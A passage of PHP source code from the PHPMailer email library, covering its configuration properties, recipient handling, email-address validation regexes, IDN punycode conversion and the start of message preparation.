     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
